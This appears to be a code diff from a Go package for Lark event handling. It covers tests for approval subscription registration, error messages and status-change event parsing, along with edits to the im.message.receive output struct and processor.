||||
},
|
||||
{
|
||||
name: "task explicit single managed",
|
||||
eventType: eventTypeApprovalTaskStatusChangedV4,
|
||||
subscribePath: pathApprovalTasksSubscription,
|
||||
params: map[string]string{"subscription_type": approvalSubscriptionTypeManaged},
|
||||
wantTypes: []string{approvalSubscriptionTypeManaged},
|
||||
},
|
||||
{
|
||||
name: "task comma separated multi canonicalizes and deduplicates",
|
||||
eventType: eventTypeApprovalTaskStatusChangedV4,
|
||||
subscribePath: pathApprovalTasksSubscription,
|
||||
params: map[string]string{
|
||||
"subscription_type": approvalSubscriptionTypeManaged + "," + approvalSubscriptionTypeInvolved + "," + approvalSubscriptionTypeManaged,
|
||||
},
|
||||
wantTypes: []string{
|
||||
approvalSubscriptionTypeInvolved,
|
||||
approvalSubscriptionTypeManaged,
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "instance json array multi",
|
||||
eventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
subscribePath: pathApprovalInstancesSubscription,
|
||||
params: map[string]string{
|
||||
"subscription_type": `["MANAGED_APPROVAL","INVOLVED_APPROVAL"]`,
|
||||
},
|
||||
wantTypes: []string{
|
||||
approvalSubscriptionTypeInvolved,
|
||||
approvalSubscriptionTypeManaged,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
|
||||
eventType: approvalEventType(tc.eventType),
|
||||
subscribePath: approvalSubscriptionPath(tc.subscribePath),
|
||||
})
|
||||
rt := &fakeAPIClient{}
|
||||
cleanup, err := pc(context.Background(), rt, tc.params)
|
||||
if err != nil {
|
||||
t.Fatalf("PreConsume returned error: %v", err)
|
||||
}
|
||||
if cleanup != nil {
|
||||
t.Fatal("cleanup must be nil; approval consume must not unsubscribe on exit")
|
||||
}
|
||||
assertSubscriptionCalls(t, rt.calls, tc.subscribePath, tc.wantTypes)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func assertSubscriptionCalls(t *testing.T, got []recordedCall, wantPath string, wantTypes []string) {
|
||||
t.Helper()
|
||||
if len(got) != len(wantTypes) {
|
||||
t.Fatalf("calls after pre-consume = %d, want %d; calls=%+v", len(got), len(wantTypes), got)
|
||||
}
|
||||
for i, wantType := range wantTypes {
|
||||
assertCall(t, got[i], "POST", wantPath, map[string]string{"subscription_type": wantType})
|
||||
}
|
||||
}
|
||||
|
||||
func assertCall(t *testing.T, got recordedCall, wantMethod, wantPath string, wantBody interface{}) {
|
||||
t.Helper()
|
||||
if got.method != wantMethod {
|
||||
t.Errorf("method = %q, want %q", got.method, wantMethod)
|
||||
}
|
||||
if got.path != wantPath {
|
||||
t.Errorf("path = %q, want %q", got.path, wantPath)
|
||||
}
|
||||
if !reflect.DeepEqual(got.body, wantBody) {
|
||||
t.Errorf("body = %#v, want %#v", got.body, wantBody)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalPreConsumeValidationErrors(t *testing.T) {
|
||||
t.Run("nil runtime", func(t *testing.T) {
|
||||
pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
|
||||
eventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
})
|
||||
_, err := pc(context.Background(), nil, map[string]string{"subscription_type": approvalSubscriptionTypeInvolved})
|
||||
if err == nil {
|
||||
t.Fatal("expected nil runtime error")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Category != errs.CategoryInternal {
|
||||
t.Fatalf("err = %T/%v, want typed internal error", err, err)
|
||||
}
|
||||
})
|
||||
|
||||
for _, raw := range []string{"BAD", "[]", `["INVOLVED_APPROVAL",3]`} {
|
||||
t.Run("invalid subscription type "+raw, func(t *testing.T) {
|
||||
pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
|
||||
eventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
})
|
||||
cleanup, err := pc(context.Background(), &fakeAPIClient{}, map[string]string{"subscription_type": raw})
|
||||
if err == nil {
|
||||
t.Fatal("expected invalid subscription_type error")
|
||||
}
|
||||
if cleanup != nil {
|
||||
t.Fatal("cleanup must be nil on validation error")
|
||||
}
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("err = %T/%v, want *errs.ValidationError", err, err)
|
||||
}
|
||||
if ve.Subtype != errs.SubtypeInvalidArgument || ve.Param != "--param" {
|
||||
t.Errorf("subtype/param = %s/%q, want invalid_argument/--param", ve.Subtype, ve.Param)
|
||||
}
|
||||
if ve.Hint == "" {
|
||||
t.Error("invalid subscription_type should carry a hint")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("partial registration failure reports registered and failed relation types", func(t *testing.T) {
|
||||
upstream := errs.NewAPIError(errs.SubtypeServerError, "approval subscription API failed")
|
||||
rt := &fakeAPIClient{err: upstream, errOnCall: 2}
|
||||
pc := approvalSubscriptionPreConsume(approvalSubscriptionConfig{
|
||||
eventType: eventTypeApprovalTaskStatusChangedV4,
|
||||
subscribePath: pathApprovalTasksSubscription,
|
||||
})
|
||||
|
||||
cleanup, err := pc(context.Background(), rt, map[string]string{})
|
||||
if err == nil {
|
||||
t.Fatal("expected partial registration error")
|
||||
}
|
||||
if cleanup != nil {
|
||||
t.Fatal("cleanup must be nil on registration error")
|
||||
}
|
||||
assertSubscriptionCalls(t, rt.calls, pathApprovalTasksSubscription, []string{
|
||||
approvalSubscriptionTypeInvolved,
|
||||
approvalSubscriptionTypeManaged,
|
||||
})
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("err = %T/%v, want typed error", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryAPI || p.Subtype != errs.SubtypeServerError {
|
||||
t.Fatalf("category/subtype = %s/%s, want api/server_error", p.Category, p.Subtype)
|
||||
}
|
||||
for _, want := range []string{
|
||||
"registered subscription_type(s) [INVOLVED_APPROVAL]",
|
||||
"failed subscription_type MANAGED_APPROVAL",
|
||||
} {
|
||||
if !strings.Contains(p.Message, want) {
|
||||
t.Errorf("partial error message missing %q: %q", want, p.Message)
|
||||
}
|
||||
}
|
||||
for _, want := range []string{
|
||||
"already registered",
|
||||
"--param subscription_type=MANAGED_APPROVAL",
|
||||
} {
|
||||
if !strings.Contains(p.Hint, want) {
|
||||
t.Errorf("partial error hint missing %q: %q", want, p.Hint)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestApprovalSubscriptionRegistrationErrorVariants(t *testing.T) {
|
||||
t.Run("nil error", func(t *testing.T) {
|
||||
if err := approvalSubscriptionRegistrationError(eventTypeApprovalTaskStatusChangedV4, nil, approvalSubscriptionTypeInvolved, nil); err != nil {
|
||||
t.Fatalf("nil cause returned error: %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("typed error with existing hint and empty message", func(t *testing.T) {
|
||||
upstream := errs.NewAPIError(errs.SubtypeServerError, "").WithHint("retry later")
|
||||
err := approvalSubscriptionRegistrationError(
|
||||
eventTypeApprovalTaskStatusChangedV4,
|
||||
nil,
|
||||
approvalSubscriptionTypeInvolved,
|
||||
upstream,
|
||||
)
|
||||
if err != upstream {
|
||||
t.Fatalf("typed error should be annotated in place; got %T/%v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("err = %T/%v, want typed error", err, err)
|
||||
}
|
||||
if !strings.Contains(p.Message, "failed subscription_type INVOLVED_APPROVAL") {
|
||||
t.Errorf("message missing failed relation: %q", p.Message)
|
||||
}
|
||||
for _, want := range []string{"retry later", "no approval subscription relation was registered"} {
|
||||
if !strings.Contains(p.Hint, want) {
|
||||
t.Errorf("hint missing %q: %q", want, p.Hint)
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("untyped error is wrapped with retry context", func(t *testing.T) {
|
||||
cause := errors.New("transport closed")
|
||||
err := approvalSubscriptionRegistrationError(
|
||||
eventTypeApprovalTaskStatusChangedV4,
|
||||
nil,
|
||||
approvalSubscriptionTypeInvolved,
|
||||
cause,
|
||||
)
|
||||
if !errors.Is(err, cause) {
|
||||
t.Fatalf("wrapped error should preserve cause; got %T/%v", err, err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("err = %T/%v, want typed error", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryInternal || p.Subtype != errs.SubtypeSDKError {
|
||||
t.Fatalf("category/subtype = %s/%s, want internal/sdk_error", p.Category, p.Subtype)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "no approval subscription relation was registered") {
|
||||
t.Errorf("hint missing no-registration context: %q", p.Hint)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestProcessApprovalInstanceStatusChanged(t *testing.T) {
|
||||
out := runApprovalInstanceStatusChanged(t, `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "evt_approval_instance_001",
|
||||
"event_type": "approval.instance.status_changed_v4",
|
||||
"create_time": "1710000000000"
|
||||
},
|
||||
"event": {
|
||||
"approval_code": "approval_code_001",
|
||||
"instance_code": "instance_code_001",
|
||||
"external_id": "external_001",
|
||||
"status": "PENDING",
|
||||
"operate_time": "1666079207003",
|
||||
"start_user": {
|
||||
"open_id": "ou_start",
|
||||
"union_id": "on_start",
|
||||
"user_id": "user_start"
|
||||
}
|
||||
}
|
||||
}`)
|
||||
|
||||
if out.Type != eventTypeApprovalInstanceStatusChangedV4 {
|
||||
t.Errorf("Type = %q, want %q", out.Type, eventTypeApprovalInstanceStatusChangedV4)
|
||||
}
|
||||
if out.EventID != "evt_approval_instance_001" || out.Timestamp != "1710000000000" {
|
||||
t.Errorf("EventID/Timestamp = %q/%q", out.EventID, out.Timestamp)
|
||||
}
|
||||
if out.ApprovalCode != "approval_code_001" || out.InstanceCode != "instance_code_001" {
|
||||
t.Errorf("approval/instance code = %q/%q", out.ApprovalCode, out.InstanceCode)
|
||||
}
|
||||
if out.ExternalID != "external_001" || out.Status != "PENDING" || out.OperateTime != "1666079207003" {
|
||||
t.Errorf("external/status/operate_time = %q/%q/%q", out.ExternalID, out.Status, out.OperateTime)
|
||||
}
|
||||
if out.StartUser == nil || out.StartUser.OpenID != "ou_start" || out.StartUser.UnionID != "on_start" || out.StartUser.UserID != "user_start" {
|
||||
t.Fatalf("StartUser = %+v, want full user ids", out.StartUser)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessApprovalTaskStatusChanged(t *testing.T) {
|
||||
out := runApprovalTaskStatusChanged(t, `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "evt_approval_task_001",
|
||||
"event_type": "approval.task.status_changed_v4",
|
||||
"create_time": "1710000000001"
|
||||
},
|
||||
"event": {
|
||||
"approval_code": "approval_code_002",
|
||||
"instance_code": "instance_code_002",
|
||||
"task_id": "task_001",
|
||||
"external_id": "external_002",
|
||||
"task_external_id": "task_external_001",
|
||||
"status": "APPROVED",
|
||||
"operate_time": "1666079207004",
|
||||
"assigned_user": {
|
||||
"open_id": "ou_assignee",
|
||||
"union_id": "on_assignee",
|
||||
"user_id": "user_assignee"
|
||||
}
|
||||
}
|
||||
}`)
|
||||
|
||||
if out.Type != eventTypeApprovalTaskStatusChangedV4 {
|
||||
t.Errorf("Type = %q, want %q", out.Type, eventTypeApprovalTaskStatusChangedV4)
|
||||
}
|
||||
if out.EventID != "evt_approval_task_001" || out.Timestamp != "1710000000001" {
|
||||
t.Errorf("EventID/Timestamp = %q/%q", out.EventID, out.Timestamp)
|
||||
}
|
||||
if out.ApprovalCode != "approval_code_002" || out.InstanceCode != "instance_code_002" || out.TaskID != "task_001" {
|
||||
t.Errorf("approval/instance/task = %q/%q/%q", out.ApprovalCode, out.InstanceCode, out.TaskID)
|
||||
}
|
||||
if out.ExternalID != "external_002" || out.TaskExternalID != "task_external_001" || out.Status != "APPROVED" || out.OperateTime != "1666079207004" {
|
||||
t.Errorf("external/task_external/status/operate_time = %q/%q/%q/%q", out.ExternalID, out.TaskExternalID, out.Status, out.OperateTime)
|
||||
}
|
||||
if out.AssignedUser == nil || out.AssignedUser.OpenID != "ou_assignee" || out.AssignedUser.UnionID != "on_assignee" || out.AssignedUser.UserID != "user_assignee" {
|
||||
t.Fatalf("AssignedUser = %+v, want full user ids", out.AssignedUser)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessApprovalStatusChangedUsesRawEventTypeFallback(t *testing.T) {
|
||||
instance := runApprovalInstanceStatusChanged(t, `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "evt_approval_instance_fallback",
|
||||
"create_time": "1710000000002"
|
||||
},
|
||||
"event": {
|
||||
"approval_code": "approval_code_fallback",
|
||||
"instance_code": "instance_code_fallback",
|
||||
"status": "APPROVED",
|
||||
"operate_time": "1666079207005"
|
||||
}
|
||||
}`)
|
||||
if instance.Type != eventTypeApprovalInstanceStatusChangedV4 {
|
||||
t.Errorf("instance Type fallback = %q, want %q", instance.Type, eventTypeApprovalInstanceStatusChangedV4)
|
||||
}
|
||||
|
||||
task := runApprovalTaskStatusChanged(t, `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "evt_approval_task_fallback",
|
||||
"create_time": "1710000000003"
|
||||
},
|
||||
"event": {
|
||||
"approval_code": "approval_code_fallback",
|
||||
"instance_code": "instance_code_fallback",
|
||||
"task_id": "task_fallback",
|
||||
"status": "DONE",
|
||||
"operate_time": "1666079207006"
|
||||
}
|
||||
}`)
|
||||
if task.Type != eventTypeApprovalTaskStatusChangedV4 {
|
||||
t.Errorf("task Type fallback = %q, want %q", task.Type, eventTypeApprovalTaskStatusChangedV4)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessApprovalStatusChangedMalformedPayloadPassthrough(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
eventType string
|
||||
process event.ProcessFunc
|
||||
}{
|
||||
{"instance", eventTypeApprovalInstanceStatusChangedV4, processApprovalInstanceStatusChanged},
|
||||
{"task", eventTypeApprovalTaskStatusChangedV4, processApprovalTaskStatusChanged},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
raw := &event.RawEvent{
|
||||
EventType: tc.eventType,
|
||||
Payload: json.RawMessage(`not json`),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := tc.process(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process should swallow parse errors, got %v", err)
|
||||
}
|
||||
if string(got) != "not json" {
|
||||
t.Errorf("malformed fallback output = %q, want original bytes", string(got))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessApprovalStatusChangedNilRaw(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
process event.ProcessFunc
|
||||
}{
|
||||
{"instance", processApprovalInstanceStatusChanged},
|
||||
{"task", processApprovalTaskStatusChanged},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
got, err := tc.process(context.Background(), nil, nil, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process nil raw returned error: %v", err)
|
||||
}
|
||||
if got != nil {
|
||||
t.Fatalf("Process nil raw output = %s, want nil", string(got))
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func runApprovalInstanceStatusChanged(t *testing.T, payload string) ApprovalInstanceStatusChangedV4Output {
|
||||
t.Helper()
|
||||
raw := &event.RawEvent{
|
||||
EventType: eventTypeApprovalInstanceStatusChangedV4,
|
||||
Payload: json.RawMessage(payload),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := processApprovalInstanceStatusChanged(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process returned error: %v", err)
|
||||
}
|
||||
var out ApprovalInstanceStatusChangedV4Output
|
||||
if err := json.Unmarshal(got, &out); err != nil {
|
||||
t.Fatalf("Process output is not valid instance JSON: %v\nraw=%s", err, string(got))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func runApprovalTaskStatusChanged(t *testing.T, payload string) ApprovalTaskStatusChangedV4Output {
|
||||
t.Helper()
|
||||
raw := &event.RawEvent{
|
||||
EventType: eventTypeApprovalTaskStatusChangedV4,
|
||||
Payload: json.RawMessage(payload),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := processApprovalTaskStatusChanged(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process returned error: %v", err)
|
||||
}
|
||||
var out ApprovalTaskStatusChangedV4Output
|
||||
if err := json.Unmarshal(got, &out); err != nil {
|
||||
t.Fatalf("Process output is not valid task JSON: %v\nraw=%s", err, string(got))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestApprovalKeysRegisterCleanly(t *testing.T) {
|
||||
for _, key := range []string{eventTypeApprovalInstanceStatusChangedV4, eventTypeApprovalTaskStatusChangedV4} {
|
||||
event.UnregisterKeyForTest(key)
|
||||
t.Cleanup(func() { event.UnregisterKeyForTest(key) })
|
||||
}
|
||||
|
||||
for _, def := range Keys() {
|
||||
event.RegisterKey(def)
|
||||
}
|
||||
for _, key := range []string{eventTypeApprovalInstanceStatusChangedV4, eventTypeApprovalTaskStatusChangedV4} {
|
||||
if _, ok := event.Lookup(key); !ok {
|
||||
t.Fatalf("event.Lookup(%q) not registered", key)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var _ event.APIClient = (*fakeAPIClient)(nil)
|
||||
@@ -1,42 +0,0 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package approval
|
||||
|
||||
// ApprovalUserID identifies a user in the three Lark ID formats included by
|
||||
// approval status-change events.
|
||||
type ApprovalUserID struct {
|
||||
OpenID string `json:"open_id,omitempty" desc:"User open_id; prefixed with ou_" kind:"open_id"`
|
||||
UnionID string `json:"union_id,omitempty" desc:"User union_id" kind:"union_id"`
|
||||
UserID string `json:"user_id,omitempty" desc:"User id within the tenant" kind:"user_id"`
|
||||
}
|
||||
|
||||
// ApprovalInstanceStatusChangedV4Output is the flattened shape for
|
||||
// approval.instance.status_changed_v4.
|
||||
type ApprovalInstanceStatusChangedV4Output struct {
|
||||
Type string `json:"type" desc:"Event type; always approval.instance.status_changed_v4" enum:"approval.instance.status_changed_v4"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
|
||||
ApprovalCode string `json:"approval_code,omitempty" desc:"Approval definition code; not a subscription dimension"`
|
||||
InstanceCode string `json:"instance_code,omitempty" desc:"Approval instance code"`
|
||||
ExternalID string `json:"external_id,omitempty" desc:"Third-party approval instance id; present only for third-party approvals"`
|
||||
Status string `json:"status,omitempty" desc:"Approval instance status" enum:"PENDING,APPROVED,REJECTED,CANCELED,DELETED,REVERTED,OVERTIME_CLOSE,OVERTIME_RECOVER"`
|
||||
OperateTime string `json:"operate_time,omitempty" desc:"Status change time in milliseconds" kind:"timestamp_ms"`
|
||||
StartUser *ApprovalUserID `json:"start_user,omitempty" desc:"Approval instance starter; omitted when unavailable"`
|
||||
}
|
||||
|
||||
// ApprovalTaskStatusChangedV4Output is the flattened shape for
|
||||
// approval.task.status_changed_v4.
|
||||
type ApprovalTaskStatusChangedV4Output struct {
|
||||
Type string `json:"type" desc:"Event type; always approval.task.status_changed_v4" enum:"approval.task.status_changed_v4"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
|
||||
ApprovalCode string `json:"approval_code,omitempty" desc:"Approval definition code; not a subscription dimension"`
|
||||
InstanceCode string `json:"instance_code,omitempty" desc:"Approval instance code"`
|
||||
TaskID string `json:"task_id,omitempty" desc:"Approval task id"`
|
||||
ExternalID string `json:"external_id,omitempty" desc:"Third-party approval external id; present only for third-party approvals"`
|
||||
TaskExternalID string `json:"task_external_id,omitempty" desc:"Third-party approval task external id; present only when emitted by the upstream service"`
|
||||
AssignedUser *ApprovalUserID `json:"assigned_user,omitempty" desc:"Task assignee or operator user ids; omitted for automatic flows without an operator"`
|
||||
Status string `json:"status,omitempty" desc:"Approval task status" enum:"REVERTED,PENDING,APPROVED,REJECTED,TRANSFERRED,ROLLBACK,DONE,OVERTIME_CLOSE,OVERTIME_RECOVER"`
|
||||
OperateTime string `json:"operate_time,omitempty" desc:"Status change time in milliseconds" kind:"timestamp_ms"`
|
||||
}
|
||||
@@ -13,29 +13,17 @@ import (
|
||||
|
||||
// ImMessageReceiveOutput is the flattened shape for im.message.receive_v1; `desc` tags drive the reflected schema.
|
||||
type ImMessageReceiveOutput struct {
|
||||
Type string `json:"type" desc:"Event type; always im.message.receive_v1"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Event delivery ID. Do not use as the message deduplication key; use message_id instead."`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); prefers header.create_time" kind:"timestamp_ms"`
|
||||
ID string `json:"id,omitempty" desc:"Message ID (legacy alias of message_id, kept for compatibility)" kind:"message_id"`
|
||||
MessageID string `json:"message_id,omitempty" desc:"Message ID; prefixed with om_. Recommended idempotency key for im.message.receive_v1 consumers." kind:"message_id"`
|
||||
CreateTime string `json:"create_time,omitempty" desc:"Message creation time (ms timestamp string)" kind:"timestamp_ms"`
|
||||
UpdateTime string `json:"update_time,omitempty" desc:"Message update time (ms timestamp string); emitted only when different from create_time" kind:"timestamp_ms"`
|
||||
ChatID string `json:"chat_id,omitempty" desc:"Chat/conversation ID; prefixed with oc_" kind:"chat_id"`
|
||||
ChatType string `json:"chat_type,omitempty" desc:"Conversation type" enum:"p2p,group"`
|
||||
MessageType string `json:"message_type,omitempty" desc:"Message type"`
|
||||
SenderID string `json:"sender_id,omitempty" desc:"Sender open_id; prefixed with ou_" kind:"open_id"`
|
||||
SenderType string `json:"sender_type,omitempty" desc:"Sender type" enum:"user,bot"`
|
||||
RootID string `json:"root_id,omitempty" desc:"Root message ID of the reply/thread context, when present" kind:"message_id"`
|
||||
ThreadID string `json:"thread_id,omitempty" desc:"Thread ID, when present"`
|
||||
ReplyTo string `json:"reply_to,omitempty" desc:"Parent message ID of the direct reply context, when present" kind:"message_id"`
|
||||
Content string `json:"content,omitempty" desc:"Message content. For most types (text/post/image/file/audio, etc.) this is pre-rendered human-readable text."`
|
||||
Mentions []MentionOutput `json:"mentions,omitempty" desc:"Compact mentions aligned with im +messages-mget"`
|
||||
}
|
||||
|
||||
type MentionOutput struct {
|
||||
Key string `json:"key,omitempty" desc:"Mention placeholder key, for example @_user_1"`
|
||||
ID string `json:"id,omitempty" desc:"Mentioned user open_id; prefixed with ou_" kind:"open_id"`
|
||||
Name string `json:"name,omitempty" desc:"Mentioned display name"`
|
||||
Type string `json:"type" desc:"Event type; always im.message.receive_v1"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); prefers header.create_time" kind:"timestamp_ms"`
|
||||
ID string `json:"id,omitempty" desc:"Message ID (legacy alias of message_id, kept for compatibility)" kind:"message_id"`
|
||||
MessageID string `json:"message_id,omitempty" desc:"Message ID; prefixed with om_" kind:"message_id"`
|
||||
CreateTime string `json:"create_time,omitempty" desc:"Message creation time (ms timestamp string)" kind:"timestamp_ms"`
|
||||
ChatID string `json:"chat_id,omitempty" desc:"Chat/conversation ID; prefixed with oc_" kind:"chat_id"`
|
||||
ChatType string `json:"chat_type,omitempty" desc:"Conversation type" enum:"p2p,group"`
|
||||
MessageType string `json:"message_type,omitempty" desc:"Message type"`
|
||||
SenderID string `json:"sender_id,omitempty" desc:"Sender open_id; prefixed with ou_" kind:"open_id"`
|
||||
Content string `json:"content,omitempty" desc:"Message content. For most types (text/post/image/file/audio, etc.) this is pre-rendered human-readable text."`
|
||||
}
|
||||
|
||||
func processImMessageReceive(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
|
||||
@@ -48,20 +36,15 @@ func processImMessageReceive(_ context.Context, _ event.APIClient, raw *event.Ra
|
||||
Event struct {
|
||||
Message struct {
|
||||
MessageID string `json:"message_id"`
|
||||
RootID string `json:"root_id"`
|
||||
ParentID string `json:"parent_id"`
|
||||
ThreadID string `json:"thread_id"`
|
||||
ChatID string `json:"chat_id"`
|
||||
ChatType string `json:"chat_type"`
|
||||
MessageType string `json:"message_type"`
|
||||
Content string `json:"content"`
|
||||
CreateTime string `json:"create_time"`
|
||||
UpdateTime string `json:"update_time"`
|
||||
Mentions []interface{} `json:"mentions"`
|
||||
} `json:"message"`
|
||||
Sender struct {
|
||||
SenderType string `json:"sender_type"`
|
||||
SenderID struct {
|
||||
SenderID struct {
|
||||
OpenID string `json:"open_id"`
|
||||
} `json:"sender_id"`
|
||||
} `json:"sender"`
|
||||
@@ -98,54 +81,7 @@ func processImMessageReceive(_ context.Context, _ event.APIClient, raw *event.Ra
|
||||
ChatType: msg.ChatType,
|
||||
MessageType: msg.MessageType,
|
||||
SenderID: envelope.Event.Sender.SenderID.OpenID,
|
||||
SenderType: envelope.Event.Sender.SenderType,
|
||||
RootID: msg.RootID,
|
||||
ThreadID: msg.ThreadID,
|
||||
ReplyTo: msg.ParentID,
|
||||
Content: content,
|
||||
Mentions: compactMentions(msg.Mentions),
|
||||
}
|
||||
if msg.UpdateTime != "" && msg.UpdateTime != msg.CreateTime {
|
||||
out.UpdateTime = msg.UpdateTime
|
||||
}
|
||||
return json.Marshal(out)
|
||||
}
|
||||
|
||||
func compactMentions(mentions []interface{}) []MentionOutput {
|
||||
if len(mentions) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]MentionOutput, 0, len(mentions))
|
||||
for _, raw := range mentions {
|
||||
item, _ := raw.(map[string]interface{})
|
||||
mention := MentionOutput{
|
||||
Key: stringField(item, "key"),
|
||||
ID: mentionOpenID(item["id"]),
|
||||
Name: stringField(item, "name"),
|
||||
}
|
||||
if mention.Key != "" || mention.ID != "" || mention.Name != "" {
|
||||
out = append(out, mention)
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func stringField(m map[string]interface{}, key string) string {
|
||||
v, _ := m[key].(string)
|
||||
return v
|
||||
}
|
||||
|
||||
func mentionOpenID(raw interface{}) string {
|
||||
switch v := raw.(type) {
|
||||
case map[string]interface{}:
|
||||
openID, _ := v["open_id"].(string)
|
||||
return openID
|
||||
case string:
|
||||
return v
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
@@ -84,32 +84,19 @@ func TestProcessImMessageReceive_Text(t *testing.T) {
|
||||
},
|
||||
"event": {
|
||||
"sender": {
|
||||
"sender_type": "user",
|
||||
"sender_id": {"open_id": "ou_sender"}
|
||||
},
|
||||
"message": {
|
||||
"message_id": "om_text_001",
|
||||
"root_id": "om_root_001",
|
||||
"parent_id": "om_parent_001",
|
||||
"thread_id": "omt_thread_001",
|
||||
"chat_id": "oc_chat",
|
||||
"chat_type": "p2p",
|
||||
"message_type": "text",
|
||||
"create_time": "1776409468987",
|
||||
"update_time": "1776409469999",
|
||||
"content": "{\"text\":\"hello @_user_1\"}",
|
||||
"mentions": [
|
||||
{
|
||||
"key": "@_user_1",
|
||||
"id": {"open_id": "ou_mentioned"},
|
||||
"name": "Alice"
|
||||
}
|
||||
]
|
||||
"content": "{\"text\":\"hello there\"}"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runReceive(t, payload)
|
||||
outMap := runReceiveMap(t, payload)
|
||||
|
||||
if out.Type != "im.message.receive_v1" {
|
||||
t.Errorf("Type = %q", out.Type)
|
||||
@@ -123,69 +110,12 @@ func TestProcessImMessageReceive_Text(t *testing.T) {
|
||||
if out.SenderID != "ou_sender" {
|
||||
t.Errorf("SenderID = %q", out.SenderID)
|
||||
}
|
||||
if out.Content != "hello @Alice" {
|
||||
t.Errorf("Content = %q, want \"hello @Alice\"", out.Content)
|
||||
if out.Content != "hello there" {
|
||||
t.Errorf("Content = %q, want \"hello there\"", out.Content)
|
||||
}
|
||||
if out.Timestamp != "1776409469273" {
|
||||
t.Errorf("Timestamp = %q", out.Timestamp)
|
||||
}
|
||||
for field, want := range map[string]string{
|
||||
"sender_type": "user",
|
||||
"root_id": "om_root_001",
|
||||
"thread_id": "omt_thread_001",
|
||||
"reply_to": "om_parent_001",
|
||||
"update_time": "1776409469999",
|
||||
} {
|
||||
if got, _ := outMap[field].(string); got != want {
|
||||
t.Errorf("%s = %q, want %q", field, got, want)
|
||||
}
|
||||
}
|
||||
mentions, _ := outMap["mentions"].([]interface{})
|
||||
if len(mentions) != 1 {
|
||||
t.Fatalf("mentions length = %d, want 1: %#v", len(mentions), outMap["mentions"])
|
||||
}
|
||||
mention, _ := mentions[0].(map[string]interface{})
|
||||
for field, want := range map[string]string{
|
||||
"key": "@_user_1",
|
||||
"id": "ou_mentioned",
|
||||
"name": "Alice",
|
||||
} {
|
||||
if got, _ := mention[field].(string); got != want {
|
||||
t.Errorf("mentions[0].%s = %q, want %q", field, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessImMessageReceive_OmitsUnchangedUpdateTime(t *testing.T) {
|
||||
